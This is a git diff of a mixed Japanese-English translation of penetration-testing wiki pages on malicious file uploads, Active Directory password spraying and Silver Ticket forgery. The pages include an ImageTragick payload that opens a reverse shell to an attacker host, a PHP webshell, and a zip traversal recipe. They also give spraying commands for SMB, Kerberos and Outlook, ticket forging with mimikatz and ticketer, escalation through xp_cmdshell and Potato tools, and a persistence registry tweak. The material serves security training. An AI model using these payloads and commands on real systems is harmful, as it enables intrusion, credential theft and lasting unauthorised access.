一部のレガシーなアップロードハンドラは `snprintf()` 等を使って単一ファイルのアップロードからマルチファイル配列を構築していますが、これらは `_FILES` 構造を偽造されるように騙されることがあります。`snprintf()` の挙動における不整合や切り捨てのため、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を前提としたロジック（例: multi-file upload とみなして安全でない分岐を取る）を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再現されます。
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
## From File upload to other vulnerabilities
@ -181,8 +182,8 @@ Note that **another option** you may be thinking of to bypass this check is to m
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **アンチウイルス**
- Check if there is any **サイズ制限** uploading files
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -223,20 +224,20 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 異なるフォルダに解凍
### 異なるフォルダに解凍する
アーカイブの解凍時にディレクトリ内でファイルが予期せず作成されることは重大な問題です。当初、この構成は悪意のあるファイルのアップロードによる OS-level command execution を防ぐと思われるかもしれませんが、ZIP の hierarchical compression support と directory traversal 機能は悪用可能です。これにより攻撃者は制限を回避し、対象アプリケーションの decompression 機能を操作して secure upload directories から脱出できます。
解凍時にディレクトリ内へ予期せぬファイルが作成される問題は重大です。一見、この構成は悪意あるファイルのアップロードを通じたOSレベルのコマンド実行を防げるように見えますが、ZIPアーカイブ形式が持つ階層的な圧縮サポートとdirectory traversalの能力は悪用可能です。これにより、攻撃者は制限を回避し、対象アプリケーションの解凍機能を操作してsecure upload directoriesから脱出できます。
そのようなファイルを作成するための自動化された exploit は [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) で入手できます。ユーティリティは次のように使用できます:
このようなファイルを作成する自動エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使い方は次の通りです:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
さらに、**symlink trick with evilarc** はオプションです。もしターゲットが `/flag.txt` のようなファイルであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こすことを防げます。
さらに、**symlink trick with evilarc** も選択肢です。ターゲットが `/flag.txt` のようなファイルである場合、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようにします。
以下は、悪意のある zip ファイルを作成するための Python コードの例です:
以下は悪意のある zip ファイルを作成するために使用される Python コードの例です:
```python
#!/usr/bin/python
import zipfile
@ -254,11 +255,11 @@ zip.close()
create_zip()
```
**圧縮を悪用した file spraying**
**Abusing compression for file spraying**
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
詳細は**オリジナル投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: このPHPコードは `$_REQUEST` 変数で渡されたコマンドを実行するように書かれている。
1. **Creating a PHP Shell**: PHPコードは、`$_REQUEST`変数経由で渡されたコマンドを実行するように書かれています。
```php
<?php
@ -268,14 +269,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを作成する。
2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらのファイルを含むzipアーカイブを作成します。
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhexエディタで変更し、"xxA"を"../"にしてディレクトリを横断する。
3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやHex Editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。
```bash
:set modifiable
@ -285,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
このコンテンツを画像拡張子でアップロードすることで脆弱性を悪用できます **(ImageMagick , 7.0.1-1)**（exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)）
この内容を画像拡張子でアップロードすると、脆弱性 **(ImageMagick , 7.0.1-1)** を悪用できます（詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照）。
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## PNGにPHP Shellを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、一部の画像処理を回避できることがあります。PHP-GDの`imagecopyresized`や`imagecopyresampled`といった関数はリサイズやリサンプリングに頻繁に使われるため、本手法ではこれらの処理を受けても埋め込んだPHPシェルが影響を受けない点が重要な利点となります。
PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理を効果的にバイパスできます。`imagecopyresized`や`imagecopyresampled`といったPHP-GDの関数は、それぞれ画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHP Shellがこれらの処理の影響を受けずに残ることは、特定のユースケースで大きな利点です。
この手法の詳細な解説（方法論や応用例を含む）は、次の記事で確認できます: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に説明しています。
この技術の手法や応用可能性を含む詳細な解説は、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglotファイルは複数のファイルフォーマットとして同時に有効であり、カメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、GIFとRARの両方として機能するハイブリッドです。これらはGIF+RARに限らず、GIF+JSやPPT+JSのような組み合わせも可能です。
Polyglot filesはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式として同時に有効に存在できるカメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
polyglotファイルの主な有用性は、ファイルタイプでフィルタリングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは危険なフォーマット（例: JS, PHP, Phar）を避けるためにJPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可する運用が一般的です。しかしpolyglotは複数フォーマットの構造要件を満たすことで、これらの制限を巧妙にすり抜ける可能性があります。
ポリグロットの主要な有用性は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険な形式（例: JS、PHP、または Phar files）によるリスクを軽減するために、JPEG、GIF、またはDOCのような特定のファイルタイプのみをアップロード可とするのが一般的です。
とはいえ、polyglotにも制約はあります。例えばPHAR（PHp ARchive）とJPEGの両方を兼ねるpolyglotがあっても、プラットフォームが拡張子で厳格に許可を管理している場合は、構造的な二面性だけではアップロードに成功しないことがあります。
適応性が高い一方で、polyglotsには制限もあります。例えば、あるpolyglotが同時にPHAR file (PHp ARchive)とJPEGを具備していても、アップロードの可否はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格であれば、polyglotの構造上の二重性だけではアップロードを保証できないかもしれません。
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### JSONをPDFのふりをしてアップロードする方法
許可されていない場合でも、PDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法（**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法）:
許可されていない場合でも有効なJSONファイルをPDFとして偽装してアップロードすることでファイルタイプ検出を回避する方法（**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術）:
- **`mmmagic` library**: 最初の1024バイト内に`%PDF`のマジックバイトがあれば有効と判断される（投稿から例を参照）
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを埋め込んでライブラリにPDFと誤認させる（投稿から例を参照）
- **`file` binary**: ファイルから最大1048576バイトを読み取る。これより大きなJSONを作成して中身をJSONとして解析できなくし、その内部に実際のPDFの先頭部分を入れるとPDFと判断される
- **`mmmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効です（例は記事参照）
- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを入れることでライブラリにPDFだと判断させる（例は記事参照）
- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をjsonとして解析できなくさせ、JSONの中に実際のPDFの先頭部を入れれば、それをPDFだと判断します
## References
## 参考
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)

2
src/windows-hardening/active-directory-methodology/kerberos-authentication.md
View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**こちらの素晴らしい記事をチェック：** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**素晴らしい投稿を確認してください:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

68
src/windows-hardening/active-directory-methodology/password-spraying.md
View File

@ -5,16 +5,16 @@
## **Password Spraying**
いくつかの**valid usernames**を見つけたら、発見した各ユーザに対して最も一般的な**common passwords**を試すことができます（環境の**password policy**を考慮してください）。\
いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も**common passwords**を試してみてください（環境のパスワードポリシーを考慮してください）。\
By **default** the **minimum** **password** **length** is **7**.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
注意：**複数回間違った passwords を試すといくつかのアカウントが lockout される可能性があります**（デフォルトでは 10 回以上）。
注意：複数の誤ったパスワードを試すと、アカウントがロックアウトされる**could lockout some accounts if you try several wrong passwords**可能性があります（デフォルトでは10回以上）。
### password policy を取得する
### パスワードポリシーの取得
もし user credentials を持っているか、domain user として shell を持っている場合は、**password policy を取得するには**:
ドメインユーザーとしての資格情報やシェルがある場合、以下の方法で**パスワードポリシーを取得できます**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -33,7 +33,7 @@ net accounts
```
### Linux（またはすべて）からのExploitation
- **crackmapexec:** を使用する
- **crackmapexec:** を使用
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
@ -51,16 +51,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) を使用する - 推奨されません。場合によっては動作しないことがあります
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 推奨されません。時々動作しないことがあります
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit**の`scanner/smb/smb_login`モジュールを使用して：
- **Metasploit** の `scanner/smb/smb_login` モジュールを使用して:
![](<../../images/image (745).png>)
- **rpcclient**を使用して：
- **rpcclient** を使用して:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### Windowsから
- brute module を含むバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用：
- brute module を備えたバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用して:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,20 +77,20 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると (デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します):
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用して（デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得してそれに応じて試行回数を制限します）:
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) を使用して
- を使用して [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
### "Password must change at next logon" アカウントを特定して乗っ取る (SAMR)
### 識別して乗っ取る "Password must change at next logon" アカウント (SAMR)
低ノイズな手法として、benign/empty password を spray して STATUS_PASSWORD_MUST_CHANGE を返すアカウントを検出する方法がある。これはパスワードが強制的に期限切れにされており、古いパスワードを知らなくても変更できることを示す。
低ノイズな手法としては、無害/空のパスワードをsprayして、STATUS_PASSWORD_MUST_CHANGEを返すアカウントを検出することがある。これはパスワードが強制的に失効しており、古いパスワードを知らなくても変更できることを示す。
ワークフロー:
- ユーザーを列挙する (RID brute via SAMR) を行い、ターゲットリストを作成する:
Workflow:
- ユーザーを列挙して (RID brute via SAMR) ターゲットリストを作成する:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Invoke-SprayEmptyPassword
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray an empty password を試し、hits が出ても続行して、次回 logon 時にパスワード変更が必須のアカウントを捕捉する:
- Spray an empty password を試行し、hits が出ても続行して、next logon 時にパスワード変更が必要なアカウントを捕捉する:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- ヒットごとに、NetExecのモジュールでSAMR経由でパスワードを変更する（"must change" が設定されている場合、古いパスワードは不要）：
- 各 hit ごとに、NetExec’s module を使って SAMR 経由でパスワードを変更する（"must change" が設定されている場合は古いパスワードは不要）:
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,8 +114,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
運用ノート:
- Kerberosを使用する操作を行う前に、ホストのクロックがDCと同期していることを確認してください: `sudo ntpdate <dc_fqdn>`.
- 一部のモジュール（例: RDP/WinRM）では、(Pwn3d!) を伴わない [+] は、creds は有効だがアカウントに対話型ログオン権限がないことを意味します。
- Kerberos-based operations を行う前に、ホストの時計をDCと同期させてください: `sudo ntpdate <dc_fqdn>`.
- 一部のモジュール（例：RDP/WinRM）で (Pwn3d!) なしの [+] は、creds が有効だが、アカウントに対話型ログオン権がないことを意味します。
## Brute Force
```bash
@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying は SMB/NTLM/LDAP の bind 試行に比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP-driven targeting、pattern engine、および policy awareness（domain policy + PSOs + badPwdCount buffer）を組み合わせ、精密かつ安全に spray を行います。また、BloodHound の pathing 用に Neo4j に compromised principals をタグ付けすることもできます。
Kerberos pre-auth ベースのスプレーは、SMB/NTLM/LDAP バインド試行と比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP 駆動のターゲティング、パターンエンジン、ポリシー認識（ドメインポリシー + PSOs + badPwdCount バッファ）を組み合わせ、正確かつ安全にスプレーします。また、侵害されたプリンシパルを Neo4j にタグ付けして BloodHound のパス探索に利用できます。
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering を用い、設定可能な試行バッファ（threshold）を残してユーザーのロックを回避します。
- Kerberos pre-auth validation using fast gssapi bindings（DC 上では 4625 の代わりに 4768/4771 を生成）。
- 名前などの変数や各ユーザーの pwdLastSet から導出される時刻値を用いた、パターンベースのユーザー毎のパスワード生成。
- スループット制御（threads、jitter、max requests per second）。
- Optional Neo4j integration to mark owned users for BloodHound.
- ドメインロックアウトポリシーと PSO 対応フィルタにより、設定可能な試行バッファ（閾値）を残してユーザーのロックを回避。
- Kerberos pre-auth 検証は高速な gssapi バインディングを使用（DCs では 4625 の代わりに 4768/4771 を生成）。
- ユーザーごとのパターンベースなパスワード生成で、名前や各ユーザーの pwdLastSet から導出される時間関連値などの変数を使用。
- スループット制御（スレッド、ジッター、秒あたり最大リクエスト数）。
- オプションの Neo4j 統合で所有済みユーザーにマークを付け、BloodHound に連携。
Basic usage and discovery:
```bash
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
ターゲット選定とパターン制御:
ターゲティングとパターン制御:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
ステルスと安全対策：
Stealth と安全対策：
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -188,15 +188,15 @@ Operational notes:
## Outlook Web Access
p**assword spraying outlook** 用のツールはいくつかあります。
Outlook に対する p**assword spraying outlook** を行うためのツールはいくつかあります。
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使って
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使って
- [Ruler](https://github.com/sensepost/ruler) (reliable!)
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用
- [Ruler](https://github.com/sensepost/ruler) を使用（信頼性あり）
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用（Powershell）
- [MailSniper](https://github.com/dafthack/MailSniper) を使用（Powershell）
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
これらのツールを使用するには、ユーザーリストとスプレーするためのパスワード／小さなパスワードリストが必要です。
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

59
src/windows-hardening/active-directory-methodology/silver-ticket.md
View File

@ -6,15 +6,15 @@
## Silver ticket
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
**Silver Ticket** 攻撃は、Active Directory (AD) 環境におけるサービスチケットの悪用を伴います。この手法は、コンピュータアカウントのようなサービスアカウントの**NTLMハッシュを取得する**ことに依存し、そのハッシュを使って Ticket Granting Service (TGS) チケットを偽造します。偽造したチケットにより、攻撃者はネットワーク上の特定サービスにアクセスし、通常は管理権限を狙って**任意のユーザーになりすます**ことができます。チケットを偽造する際に AES キーを使う方がより安全で検出されにくいことが強調されます。
> [!WARNING]
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
> Silver Tickets は Golden Tickets より検出されにくいです。なぜなら要求されるのは krbtgt アカウントではなくサービスアカウントの**ハッシュ**だけだからです。ただし、対象となるサービスに限定されます。さらに、ユーザーのパスワードを単に盗むだけで可能です。
> また、SPN を持つ**アカウントのパスワード**を奪取した場合、そのパスワードを使ってそのサービスに対して任意のユーザーを偽装する Silver Ticket を作成できます。
For ticket crafting, different tools are employed based on the operating system:
### On Linux
### Linux上
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS service は標的のファイルシステムへアクセスする一般的なターゲットとしてよく挙げられますが、HOST や RPCSS といった他のサービスもタスクや WMI クエリの実行に悪用可能です。
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
### 例：MSSQL service (MSSQLSvc) + Potato to SYSTEM
### 例: MSSQL service (MSSQLSvc) + Potato to SYSTEM
SQL サービスアカウント（例: sqlsvc）の NTLM ハッシュ（または AES キー）を入手している場合、MSSQL SPN に対する TGS を偽造して SQL service に対して任意のユーザーを偽装できます。そこから xp_cmdshell を有効化して SQL サービスアカウントとしてコマンドを実行します。その token に SeImpersonatePrivilege が含まれていれば、Potato をチェーンして SYSTEM に昇格できます。
もしSQLサービスアカウント（例: sqlsvc）のNTLMハッシュ（またはAESキー）を持っていれば、MSSQLのSPNに対するTGSを偽造して、任意のユーザとしてSQLサービスに対してなりすますことができます。そこからxp_cmdshellを有効化して、SQLサービスアカウントとしてコマンドを実行します。そのトークンにSeImpersonatePrivilegeがあれば、PotatoをチェーンしてSYSTEMに昇格させます。
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,30 +52,32 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- 結果のコンテキストに SeImpersonatePrivilege がある場合（サービスアカウントではよくある）、SYSTEM を取得するために Potato のバリアントを使用する:
- 結果のコンテキストが SeImpersonatePrivilege を持っている場合（サービスアカウントに当てはまることが多い）、Potato の亜種を使って SYSTEM を取得する:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
More details on abusing MSSQL and enabling xp_cmdshell:
MSSQL の悪用および xp_cmdshell の有効化の詳細:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato techniques overview:
Potato techniques の概要:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## 利用可能なサービス
| サービスの種類 | Service Silver Tickets |
| サービスの種類 | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>OSによっては以下も:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>場合によっては単に要求するだけで済むことがあります: WINRM</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>OSによっては以下も：</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>場合によっては単に要求できます: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
@ -90,25 +92,25 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter:
- 4624: アカウント ログオン
- 4634: アカウント ログオフ
- 4672: 管理者ログオン
- 4672: 管理者 ログオン
## 永続化
マシンが30日ごとにパスワードをローテーションするのを回避するには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` を30日より大きい値に設定して、マシンのパスワードをローテーションする期間を延長できます。
マシンが 30 日ごとにパスワードをローテーションするのを避けるには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` を 30 日より大きな値に設定して、マシンのパスワードをいつローテーションするかを示すことができます。
## サービスチケットの悪用
以下の例では、チケットが管理者アカウントを偽装して取得されたと仮定します。
以下の例では、そのチケットが管理者アカウントを偽装して取得されたと仮定します。
### CIFS
このチケットを使うと、`C$` や `ADMIN$` フォルダに **SMB** 経由でアクセスでき（公開されていれば）、リモートファイルシステムの一部にファイルをコピーできます。例えば次のように実行します:
このチケットがあれば、`C$` と `ADMIN$` フォルダに **SMB** 経由でアクセスでき（公開されている場合）、次のようにしてリモートファイルシステムの一部にファイルをコピーできます：
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
また、**psexec** を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりできます:
さらに、**psexec** を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりできます:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -116,7 +118,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
### ホスト
この権限があれば、リモートコンピュータ上にスケジュールされたタスクを作成し、任意のコマンドを実行できます：
この権限があれば、リモートコンピュータにスケジュールされたタスクを作成して任意のコマンドを実行できます:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -130,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
これらのチケットを使うと、**標的システムでWMIを実行できます**:
これらのチケットを使用すると、**標的システム上でWMIを実行できます**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -140,20 +142,19 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
以下のページで **wmiexec に関する詳細** を確認してください:
以下のページで**wmiexec**に関する詳細情報を確認してください：
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### ホスト + WSMAN (WINRM)
### HOST + WSMAN (WINRM)
コンピュータに対する winrm アクセスがあれば、それに **access it** し、PowerShell を取得することさえできます:
コンピュータに対して winrm アクセスがあると、そのコンピュータに**アクセス**したり、PowerShell を取得したりできます:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
